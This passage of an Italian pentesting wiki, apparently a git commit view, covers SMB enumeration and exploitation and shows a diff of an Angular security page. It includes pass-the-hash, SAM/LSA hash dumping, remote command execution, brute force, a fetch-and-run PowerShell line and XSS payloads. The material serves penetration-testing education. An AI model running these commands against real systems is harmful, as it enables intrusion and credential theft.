/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
```
### Enumerare Utenti, Gruppi e Utenti Connessi
Queste informazioni dovrebbero già essere raccolte da enum4linux e enum4linux-ng
```bash
crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups --loggedon-users [-u <username> -p <password>]
ldapsearch -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "(&(objectclass=user))" -h 10.10.10.10 | grep -i samaccountname: | cut -f 2 -d " "
rpcclient -U "" -N 10.10.10.10
enumdomusers
enumdomgroups
```
### Enumerare gli utenti locali
[Impacket](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py)
```bash
lookupsid.py -no-pass hostname.local
```
Oneliner
```bash
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
```
### Metasploit - Enumerare gli utenti locali
```bash
use auxiliary/scanner/smb/smb_lookupsid
set rhosts hostname.local
run
```
### **Enumerazione di LSARPC e SAMR rpcclient**
{{#ref}}
pentesting-smb/rpcclient-enumeration.md
{{#endref}}
### Connessione GUI da linux
#### Nel terminale:
`xdg-open smb://cascade.htb/`
#### Nella finestra del file browser (nautilus, thunar, ecc)
`smb://friendzone.htb/general/`
## Enumerazione delle cartelle condivise
### Elenca le cartelle condivise
È sempre consigliato controllare se puoi accedere a qualcosa; se non hai credenziali, prova a utilizzare **null** **credentials/guest user**.
```bash
smbclient --no-pass -L //<IP> # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
smbmap -H <IP> [-P <PORT>] #Null user
smbmap -u "username" -p "password" -H <IP> [-P <PORT>] #Creds
smbmap -u "username" -p "<NT>:<LM>" -H <IP> [-P <PORT>] #Pass-the-Hash
smbmap -R -u "username" -p "password" -H <IP> [-P <PORT>] #Recursive list
crackmapexec smb <IP> -u '' -p '' --shares #Null user
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user
```
### **Connetti/Elenca una cartella condivisa**
```bash
#Connect using smbclient
smbclient --no-pass //<IP>/<Folder>
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
#Use --no-pass -c 'recurse;ls' to list recursively with smbclient
#List with smbmap, without folder it list everything
smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive list
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
```
### **Enumerare manualmente le condivisioni di Windows e connettersi ad esse**
Potrebbe essere possibile che tu sia limitato nella visualizzazione delle condivisioni della macchina host e quando provi a elencarle sembra che non ci siano condivisioni a cui connettersi. Pertanto, potrebbe valere la pena provare a connettersi manualmente a una condivisione. Per enumerare manualmente le condivisioni, potresti voler cercare risposte come NT_STATUS_ACCESS_DENIED e NT_STATUS_BAD_NETWORK_NAME, quando utilizzi una sessione valida (ad es. sessione nulla o credenziali valide). Questi possono indicare se la condivisione esiste e non hai accesso ad essa o se la condivisione non esiste affatto.
I nomi di condivisione comuni per i target Windows sono
- C$
- D$
- ADMIN$
- IPC$
- PRINT$
- FAX$
- SYSVOL
- NETLOGON
(Nomi di condivisione comuni da _**Network Security Assessment 3rd edition**_)
Puoi provare a connetterti a esse utilizzando il seguente comando
```bash
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
```
per questo script (utilizzando una sessione nulla)
```bash
#/bin/bash
ip='<TARGET-IP-HERE>'
shares=('C$' 'D$' 'ADMIN$' 'IPC$' 'PRINT$' 'FAX$' 'SYSVOL' 'NETLOGON')
for share in ${shares[*]}; do
output=$(smbclient -U '%' -N \\\\$ip\\$share -c '')
if [[ -z $output ]]; then
echo "[+] creating a null session is possible for $share" # no output if command goes through, thus assuming that a session was created
else
echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME)
fi
done
```
esempi
```bash
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
```
### **Enumerare le condivisioni da Windows / senza strumenti di terze parti**
PowerShell
```bash
# Retrieves the SMB shares on the locale computer.
Get-SmbShare
Get-WmiObject -Class Win32_Share
# Retrieves the SMB shares on a remote computer.
get-smbshare -CimSession "<computer name or session object>"
# Retrieves the connections established from the local SMB client to the SMB servers.
Get-SmbConnection
```
Console CMD
```shell
# List shares on the local computer
net share
# List shares on a remote computer (including hidden ones)
net view \\<ip> /all
```
MMC Snap-in (grafico)
```shell
# Shared Folders: Shared Folders > Shares
fsmgmt.msc
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
compmgmt.msc
```
explorer.exe (grafico), inserisci `\\<ip>\` per vedere le condivisioni disponibili non nascoste.
### Monta una cartella condivisa
```bash
mount -t cifs //x.x.x.x/share /mnt/share
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
```
### **Scarica file**
Leggi le sezioni precedenti per imparare come connetterti con credenziali/Pass-the-Hash.
```bash
#Search a file and download
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
```
```bash
#Download all
smbclient //<IP>/<share>
> mask ""
> recurse
> prompt
> mget *
#Download everything to current directory
```
Comandi:
- mask: specifica la maschera utilizzata per filtrare i file all'interno della directory (ad es. "" per tutti i file)
- recurse: attiva la ricorsione (predefinito: disattivato)
- prompt: disattiva la richiesta per i nomi dei file (predefinito: attivato)
- mget: copia tutti i file che corrispondono alla maschera dall'host alla macchina client
(_Informazioni dalla manpage di smbclient_)
### Ricerca di Cartelle Condivise nel Dominio
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)
```bash
Snaffler.exe -s -d domain.local -o snaffler.log -v data
```
- [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) spider.
- `-M spider_plus [--share <share_name>]`
- `--pattern txt`
```bash
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
```
Particolarmente interessanti tra le condivisioni sono i file chiamati **`Registry.xml`** poiché **possono contenere password** per gli utenti configurati con **autologon** tramite Group Policy. Oppure i file **`web.config`** poiché contengono credenziali.
- [**PowerHuntShares**](https://github.com/NetSPI/PowerHuntShares)
- `IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/PowerHuntShares/main/PowerHuntShares.psm1")`
- `Invoke-HuntSMBShares -Threads 100 -OutputDirectory c:\temp\test`
> [!NOTE]
> La **condivisione SYSVOL** è **leggibile** da tutti gli utenti autenticati nel dominio. Qui puoi **trovare** molti diversi batch, VBScript e **script** PowerShell.\
> Dovresti **controllare** gli **script** al suo interno poiché potresti **trovare** informazioni sensibili come **password**.
## Leggi il Registro
Potresti essere in grado di **leggere il registro** utilizzando alcune credenziali scoperte. Impacket **`reg.py`** ti consente di provare:
```bash
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
```
## Post Exploitation
La **configurazione predefinita di** un **server Samba** si trova solitamente in `/etc/samba/smb.conf` e potrebbe avere alcune **configurazioni pericolose**:
| **Impostazione** | **Descrizione** |
| --------------------------- | ------------------------------------------------------------------ |
| `browseable = yes` | Consentire l'elenco delle condivisioni disponibili nella condivisione attuale? |
| `read only = no` | Vietare la creazione e la modifica di file? |
| `writable = yes` | Consentire agli utenti di creare e modificare file? |
| `guest ok = yes` | Consentire la connessione al servizio senza utilizzare una password? |
| `enable privileges = yes` | Rispettare i privilegi assegnati a SID specifici? |
| `create mask = 0777` | Quali permessi devono essere assegnati ai file appena creati? |
| `directory mask = 0777` | Quali permessi devono essere assegnati alle directory appena create? |
| `logon script = script.sh` | Quale script deve essere eseguito al login dell'utente? |
| `magic script = script.sh` | Quale script deve essere eseguito quando lo script viene chiuso? |
| `magic output = script.out` | Dove deve essere memorizzato l'output dello script magico? |
Il comando `smbstatus` fornisce informazioni sul **server** e su **chi è connesso**.
## Authenticate using Kerberos
Puoi **autenticarti** a **kerberos** utilizzando gli strumenti **smbclient** e **rpcclient**:
```bash
smbclient --kerberos //ws01win10.domain.com/C$
rpcclient -k ws01win10.domain.com
```
## **Eseguire Comandi**
### **crackmapexec**
crackmapexec può eseguire comandi **abusando** di qualsiasi **mmcexec, smbexec, atexec, wmiexec**, essendo **wmiexec** il metodo **predefinito**. Puoi indicare quale opzione preferisci utilizzare con il parametro `--exec-method`:
```bash
apt-get install crackmapexec
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #Execute Powershell
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #Excute cmd
crackmapexec smb 192.168.10.11 -u Administrator -H <NTHASH> -x whoami #Pass-the-Hash
# Using --exec-method {mmcexec,smbexec,atexec,wmiexec}
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sam #Dump SAM
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --lsa #Dump LSASS in memmory hashes
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sessions #Get sessions (
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --loggedon-users #Get logged-on users
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --disks #Enumerate the disks
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --users #Enumerate users
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --groups # Enumerate groups
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --local-groups # Enumerate local groups
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --pass-pol #Get password policy
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --rid-brute #RID brute
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
```
### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md)
Entrambe le opzioni **creeranno un nuovo servizio** (utilizzando _\pipe\svcctl_ tramite SMB) nella macchina vittima e lo utilizzeranno per **eseguire qualcosa** (**psexec** **caricherà** un file eseguibile nella condivisione ADMIN$ e **smbexec** punterà a **cmd.exe/powershell.exe** e metterà negli argomenti il payload --**tecnica senza file-**-).\
**Maggiore info** su [**psexec** ](../windows-hardening/ntlm/psexec-and-winexec.md)e [**smbexec**](../windows-hardening/ntlm/smbexec.md).\
In **kali** si trova in /usr/share/doc/python3-impacket/examples/
```bash
#If no password is provided, it will be prompted
./psexec.py [[domain/]username[:password]@]<targetName or address>
./psexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
```
Utilizzando **parameter**`-k` puoi autenticarti contro **kerberos** invece di **NTLM**
### [wmiexec](../windows-hardening/ntlm/wmiexec.md)/dcomexec
Esegui silenziosamente una shell di comando senza toccare il disco o avviare un nuovo servizio utilizzando DCOM tramite **port 135.**\
In **kali** si trova in /usr/share/doc/python3-impacket/examples/
```bash
#If no password is provided, it will be prompted
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
```
Utilizzando **parameter**`-k` puoi autenticarti contro **kerberos** invece di **NTLM**
```bash
#If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
./dcomexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
```
### [AtExec](../windows-hardening/ntlm/atexec.md)
Esegui comandi tramite il Task Scheduler (utilizzando _\pipe\atsvc_ tramite SMB).\
In **kali** si trova in /usr/share/doc/python3-impacket/examples/
```bash
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
```
## Riferimento Impacket
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
## **Bruteforce delle credenziali degli utenti**
**Questo non è raccomandato, potresti bloccare un account se superi il numero massimo di tentativi consentiti**
```bash
nmap --script smb-brute -p 445 <IP>
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
```
## Attacco di relay SMB
Questo attacco utilizza il toolkit Responder per **catturare le sessioni di autenticazione SMB** su una rete interna e **relevarle** a una **macchina target**. Se la **sessione di autenticazione ha successo**, ti porterà automaticamente in una **shell** **di sistema**.\
[**Ulteriori informazioni su questo attacco qui.**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
## SMB-Trap
La libreria Windows URLMon.dll tenta automaticamente di autenticarsi con l'host quando una pagina cerca di accedere a qualche contenuto tramite SMB, ad esempio: `img src="\\10.10.10.10\path\image.jpg"`
Questo avviene con le funzioni:
- URLDownloadToFile
- URLDownloadToCache
- URLOpenStream
- URLOpenBlockingStream
Che sono utilizzate da alcuni browser e strumenti (come Skype)
![Da: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../images/image (93).png>)
### SMBTrap utilizzando MitMf
![Da: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../images/image (94).png>)
## Furto di NTLM
Simile al SMB Trapping, piantare file dannosi su un sistema target (via SMB, ad esempio) può innescare un tentativo di autenticazione SMB, consentendo di intercettare l'hash NetNTLMv2 con uno strumento come Responder. L'hash può quindi essere decifrato offline o utilizzato in un [attacco di relay SMB](pentesting-smb.md#smb-relay-attack).
[Guarda: ntlm_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
## Comandi automatici HackTricks
```
Protocol_Name: SMB #Protocol Abbreviation if there is one.
Port_Number: 137,138,139 #Comma separated if there is more than one.
Protocol_Description: Server Message Block #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for SMB
Note: |
While Port 139 is known technically as ‘NBT over IP’, Port 445 is ‘SMB over IP’. SMB stands for ‘Server Message Blocks’. Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network.
#These are the commands I run in order every time I see an open SMB port
With No Creds
nbtscan {IP}
smbmap -H {IP}
smbmap -H {IP} -u null -p null
smbmap -H {IP} -u guest
smbclient -N -L //{IP}
smbclient -N //{IP}/ --option="client min protocol"=LANMAN1
rpcclient {IP}
rpcclient -U "" {IP}
crackmapexec smb {IP}
crackmapexec smb {IP} --pass-pol -u "" -p ""
crackmapexec smb {IP} --pass-pol -u "guest" -p ""
GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all
GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat
GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/"
getArch.py -target {IP}
With Creds
smbmap -H {IP} -u {Username} -p {Password}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
crackmapexec smb {IP} -u {Username} -p {Password} --shares
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smb/index.html
Entry_2:
Name: Enum4Linux
Description: General SMB Scan
Command: enum4linux -a {IP}
Entry_3:
Name: Nmap SMB Scan 1
Description: SMB Vuln Scan With Nmap
Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}
Entry_4:
Name: Nmap Smb Scan 2
Description: SMB Vuln Scan With Nmap (Less Specific)
Command: nmap --script 'smb-vuln*' -Pn -p 139,445 {IP}
Entry_5:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb
Entry_6:
Name: SMB/SMB2 139/445 consolesless mfs enumeration
Description: SMB/SMB2 139/445 enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'
```
{{#include ../banners/hacktricks-training.md}}

80
src/network-services-pentesting/pentesting-web/angular.md
View File

@ -1,5 +1,7 @@
# Angular
{{#include /banners/hacktricks-training.md}}
## The Checklist
Checklist [da qui](https://lsgeurope.com/post/angular-security-checklist).
@ -14,7 +16,7 @@ Checklist [da qui](https://lsgeurope.com/post/angular-security-checklist).
## What is Angular
Angular è un **framework** front-end **potente** e **open-source** mantenuto da **Google**. Utilizza **TypeScript** per migliorare la leggibilità del codice e il debug. Con forti meccanismi di sicurezza, Angular previene vulnerabilità comuni lato client come **XSS** e **redirect aperti**. Può essere utilizzato anche lato **server**, rendendo importanti le considerazioni sulla sicurezza da **entrambi i lati**.
Angular è un **framework** front-end **potente** e **open-source** mantenuto da **Google**. Utilizza **TypeScript** per migliorare la leggibilità del codice e il debug. Con forti meccanismi di sicurezza, Angular previene vulnerabilità comuni lato client come **XSS** e **open redirects**. Può essere utilizzato anche lato **server**, rendendo importanti le considerazioni sulla sicurezza da **entrambi i lati**.
## Framework architecture
@ -39,17 +41,17 @@ my-workspace/
├── angular.json #provides workspace-wide and project-specific configuration defaults
└── tsconfig.json #provides the base TypeScript configuration for projects in the workspace
```
Secondo la documentazione, ogni applicazione Angular ha almeno un componente, il componente radice (`AppComponent`) che collega una gerarchia di componenti con il DOM. Ogni componente definisce una classe che contiene dati e logica dell'applicazione ed è associata a un modello HTML che definisce una vista da visualizzare in un ambiente target. Il decoratore `@Component()` identifica la classe immediatamente sottostante come un componente e fornisce il modello e i metadati specifici del componente correlati. L'`AppComponent` è definito nel file `app.component.ts`.
Secondo la documentazione, ogni applicazione Angular ha almeno un componente, il componente radice (`AppComponent`) che collega una gerarchia di componenti con il DOM. Ogni componente definisce una classe che contiene dati e logica dell'applicazione ed è associato a un modello HTML che definisce una vista da visualizzare in un ambiente target. Il decoratore `@Component()` identifica la classe immediatamente sottostante come un componente e fornisce il modello e i metadati specifici del componente correlati. L'`AppComponent` è definito nel file `app.component.ts`.
Gli Angular NgModules dichiarano un contesto di compilazione per un insieme di componenti dedicato a un dominio dell'applicazione, a un flusso di lavoro o a un insieme di capacità strettamente correlate. Ogni applicazione Angular ha un modulo radice, convenzionalmente chiamato `AppModule`, che fornisce il meccanismo di avvio che lancia l'applicazione. Un'applicazione contiene tipicamente molti moduli funzionali. L'`AppModule` è definito nel file `app.module.ts`.
Gli NgModule di Angular dichiarano un contesto di compilazione per un insieme di componenti dedicato a un dominio dell'applicazione, a un flusso di lavoro o a un insieme di capacità strettamente correlate. Ogni applicazione Angular ha un modulo radice, convenzionalmente chiamato `AppModule`, che fornisce il meccanismo di avvio che lancia l'applicazione. Un'applicazione contiene tipicamente molti moduli funzionali. L'`AppModule` è definito nel file `app.module.ts`.
Il modulo NgModule `Router` di Angular fornisce un servizio che consente di definire un percorso di navigazione tra i diversi stati dell'applicazione e le gerarchie di vista nella tua applicazione. Il `RouterModule` è definito nel file `app-routing.module.ts`.
Il NgModule `Router` di Angular fornisce un servizio che consente di definire un percorso di navigazione tra i diversi stati dell'applicazione e le gerarchie di vista nella tua applicazione. Il `RouterModule` è definito nel file `app-routing.module.ts`.
Per dati o logica che non sono associati a una vista specifica e che desideri condividere tra i componenti, crei una classe di servizio. La definizione di una classe di servizio è immediatamente preceduta dal decoratore `@Injectable()`. Il decoratore fornisce i metadati che consentono ad altri provider di essere iniettati come dipendenze nella tua classe. L'iniezione delle dipendenze (DI) ti consente di mantenere le tue classi di componente snelle ed efficienti. Esse non recuperano dati dal server, non convalidano l'input dell'utente e non registrano direttamente sulla console; delegano tali compiti ai servizi.
Per dati o logica che non sono associati a una vista specifica e che desideri condividere tra i componenti, crei una classe di servizio. La definizione di una classe di servizio è immediatamente preceduta dal decoratore `@Injectable()`. Il decoratore fornisce i metadati che consentono ad altri provider di essere iniettati come dipendenze nella tua classe. L'iniezione delle dipendenze (DI) ti consente di mantenere le classi dei componenti snelle ed efficienti. Esse non recuperano dati dal server, non convalidano l'input dell'utente e non registrano direttamente sulla console; delegano tali compiti ai servizi.
## Configurazione del sourcemap
Il framework Angular traduce i file TypeScript in codice JavaScript seguendo le opzioni di `tsconfig.json` e poi costruisce un progetto con la configurazione di `angular.json`. Esaminando il file `angular.json`, abbiamo osservato un'opzione per abilitare o disabilitare un sourcemap. Secondo la documentazione di Angular, la configurazione predefinita ha un file sourcemap abilitato per gli script e non è nascosto per impostazione predefinita:
Il framework Angular traduce i file TypeScript in codice JavaScript seguendo le opzioni di `tsconfig.json` e poi costruisce un progetto con la configurazione di `angular.json`. Guardando il file `angular.json`, abbiamo osservato un'opzione per abilitare o disabilitare un sourcemap. Secondo la documentazione di Angular, la configurazione predefinita ha un file sourcemap abilitato per gli script e non è nascosto per impostazione predefinita:
```json
"sourceMap": {
"scripts": true,
@ -60,16 +62,16 @@ Il framework Angular traduce i file TypeScript in codice JavaScript seguendo le
```
In generale, i file sourcemap sono utilizzati per scopi di debug in quanto mappano i file generati ai loro file originali. Pertanto, non è consigliabile utilizzarli in un ambiente di produzione. Se i sourcemap sono abilitati, migliorano la leggibilità e aiutano nell'analisi dei file replicando lo stato originale del progetto Angular. Tuttavia, se sono disabilitati, un revisore può comunque analizzare manualmente un file JavaScript compilato cercando schemi anti-sicurezza.
Inoltre, un file JavaScript compilato con un progetto Angular può essere trovato negli strumenti di sviluppo del browser → Sources (o Debugger e Sources) → \[id].main.js. A seconda delle opzioni abilitate, questo file può contenere la seguente riga alla fine `//# sourceMappingURL=[id].main.js.map` oppure potrebbe non contenerla, se l'opzione **hidden** è impostata su **true**. Tuttavia, se il sourcemap è disabilitato per **scripts**, il testing diventa più complesso e non possiamo ottenere il file. Inoltre, il sourcemap può essere abilitato durante la costruzione del progetto come `ng build --source-map`.
Inoltre, un file JavaScript compilato con un progetto Angular può essere trovato negli strumenti per sviluppatori del browser → Sources (o Debugger e Sources) → \[id].main.js. A seconda delle opzioni abilitate, questo file può contenere la seguente riga alla fine `//# sourceMappingURL=[id].main.js.map` oppure potrebbe non contenerla, se l'opzione **hidden** è impostata su **true**. Tuttavia, se il sourcemap è disabilitato per **scripts**, il testing diventa più complesso e non possiamo ottenere il file. Inoltre, il sourcemap può essere abilitato durante la costruzione del progetto come `ng build --source-map`.
## Data binding
Il binding si riferisce al processo di comunicazione tra un componente e la sua vista corrispondente. Viene utilizzato per trasferire dati da e verso il framework Angular. I dati possono essere passati attraverso vari mezzi, come eventi, interpolazione, proprietà o attraverso il meccanismo di binding bidirezionale. Inoltre, i dati possono essere condivisi tra componenti correlati (relazione genitore-figlio) e tra due componenti non correlati utilizzando la funzionalità Service.
Possiamo classificare il binding in base al flusso di dati:
Possiamo classificare il binding in base al flusso dei dati:
* Fonte dati a obiettivo vista (include _interpolazione_, _proprietà_, _attributi_, _classi_ e _stili_); può essere applicato utilizzando `[]` o `{{}}` nel template;
* Obiettivo vista a fonte dati (include _eventi_); può essere applicato utilizzando `()` nel template;
* Fonte dei dati a obiettivo della vista (include _interpolazione_, _proprietà_, _attributi_, _classi_ e _stili_); può essere applicato utilizzando `[]` o `{{}}` nel template;
* Obiettivo della vista a fonte dei dati (include _eventi_); può essere applicato utilizzando `()` nel template;
* Bidirezionale; può essere applicato utilizzando `[()]` nel template.
Il binding può essere chiamato su proprietà, eventi e attributi, così come su qualsiasi membro pubblico di una direttiva sorgente:
@ -77,9 +79,9 @@ Il binding può essere chiamato su proprietà, eventi e attributi, così come su
| TYPE | TARGET | EXAMPLES |
| --------- | -------------------------------------------------------- | -------------------------------------------------------------------- |
| Property | Proprietà dell'elemento, Proprietà del componente, Proprietà della direttiva | \<img \[alt]="hero.name" \[src]="heroImageUrl"> |
| Event | Evento dell'elemento, Evento del componente, Evento della direttiva | \<button type="button" (click)="onSave()">Salva |
| Event | Evento dell'elemento, Evento del componente, Evento della direttiva | \<button type="button" (click)="onSave()">Save |
| Two-way | Evento e proprietà | \<input \[(ngModel)]="name"> |
| Attribute | Attributo (l'eccezione) | \<button type="button" \[attr.aria-label]="help">aiuto |
| Attribute | Attributo (l'eccezione) | \<button type="button" \[attr.aria-label]="help">help |
| Class | Proprietà di classe | \<div \[class.special]="isSpecial">Special |
| Style | Proprietà di stile | \<button type="button" \[style.color]="isSpecial ? 'red' : 'green'"> |
@ -113,15 +115,15 @@ Risultato: `<div><h1>test</h1></div>`
Ci sono 6 tipi di `SecurityContext` :
* `None`;
* `HTML` viene utilizzato quando si interpreta il valore come HTML;
* `STYLE` viene utilizzato quando si lega il CSS nella proprietà `style`;
* `URL` viene utilizzato per le proprietà URL, come `<a href>`;
* `SCRIPT` viene utilizzato per il codice JavaScript;
* `HTML` è usato, quando si interpreta il valore come HTML;
* `STYLE` è usato, quando si lega il CSS nella proprietà `style`;
* `URL` è usato per le proprietà URL, come `<a href>`;
* `SCRIPT` è usato per il codice JavaScript;
* `RESOURCE_URL` come un URL che viene caricato ed eseguito come codice, ad esempio, in `<script src>`.
## Vulnerabilità
### Bypass dei metodi di sicurezza Trust
### Bypass Security Trust methods
Angular introduce un elenco di metodi per bypassare il suo processo di sanitizzazione predefinito e per indicare che un valore può essere utilizzato in modo sicuro in un contesto specifico, come nei seguenti cinque esempi:
@ -132,10 +134,10 @@ Angular introduce un elenco di metodi per bypassare il suo processo di sanitizza
this.trustedUrl = this.sanitizer.bypassSecurityTrustUrl('javascript:alert()');
//app.component.html
<a class="e2e-trusted-url" [href]="trustedUrl">Cliccami</a>
<a class="e2e-trusted-url" [href]="trustedUrl">Click me</a>
//risultato
<a _ngcontent-pqg-c12="" class="e2e-trusted-url" href="javascript:alert()">Cliccami</a>
//result
<a _ngcontent-pqg-c12="" class="e2e-trusted-url" href="javascript:alert()">Click me</a>
```
2. `bypassSecurityTrustResourceUrl` viene utilizzato per indicare che il valore fornito è un URL di risorsa sicuro:
@ -146,10 +148,10 @@ this.trustedResourceUrl = this.sanitizer.bypassSecurityTrustResourceUrl("https:/
//app.component.html
<iframe [src]="trustedResourceUrl"></iframe>
//risultato
//result
<img _ngcontent-nre-c12="" src="https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png">
```
3. `bypassSecurityTrustHtml` viene utilizzato per indicare che il valore fornito è HTML sicuro. Si noti che l'inserimento di elementi `script` nell'albero DOM in questo modo non causerà l'esecuzione del codice JavaScript racchiuso, a causa di come questi elementi vengono aggiunti all'albero DOM.
3. `bypassSecurityTrustHtml` viene utilizzato per indicare che il valore fornito è HTML sicuro. Si noti che l'inserimento di elementi `script` nell'albero DOM in questo modo non farà eseguire il codice JavaScript racchiuso, a causa di come questi elementi vengono aggiunti all'albero DOM.
```jsx
//app.component.ts
@ -158,11 +160,11 @@ this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml("<h1>html tag</h1><svg
//app.component.html
<p style="border:solid" [innerHtml]="trustedHtml"></p>
//risultato
//result
<h1>html tag</h1>
<svg onclick="alert('bypassSecurityTrustHtml')" style="display:block">blah</svg>
```
4. `bypassSecurityTrustScript` viene utilizzato per indicare che il valore fornito è JavaScript sicuro. Tuttavia, abbiamo riscontrato che il suo comportamento è imprevedibile, perché non siamo riusciti a eseguire codice JS nei template utilizzando questo metodo.
